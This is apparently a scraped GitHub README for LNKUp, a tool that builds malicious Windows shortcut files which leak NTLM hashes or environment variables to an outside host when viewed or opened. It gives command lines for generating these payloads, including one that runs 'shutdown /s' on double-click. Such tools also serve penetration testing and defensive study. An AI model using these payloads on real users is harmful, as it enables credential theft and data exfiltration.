Skip to content
master
Switch branches/tags
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 

LNKUp

LNK Data exfiltration payload generator

This tool will allow you to generate LNK payloads. Upon rendering or being run, they will exfiltrate data.

Info

I am not responsible for any actions you take with this tool!
You can contact me with any questions by opening an issue, or via my Twitter, @Plazmaz.

Known gotchas

  • This tool will not work on OSX or Linux machines. It is specifically designed to target windows.
  • There may be issues with icon caching in some situations. If your payload doesn't execute after the first time, try regenerating it.
  • You will need to run a responder or metasploit module server to capture NTLM hashes.
  • To capture environment variables, you'll need to run a webserver like apache, nginx, or even just this

Installation

Install requirements using
pip install -r requirements.txt

Usage

Payload types:

  • NTLM
  • Environment
    • Steals the user's environment variables.
    • Examples: %PATH%, %USERNAME%, etc
    • Requires variables to be set using --vars
    • Example usage:
      lnkup.py --host localhost --type environment --vars PATH USERNAME JAVA_HOME --output out.lnk

Extra:

  • Use --execute to specify a command to run when the shortcut is double clicked
    • Example:
      lnkup.py --host localhost --type ntlm --output out.lnk --execute "shutdown /s"

Releases

No releases published

Packages

No packages published

Languages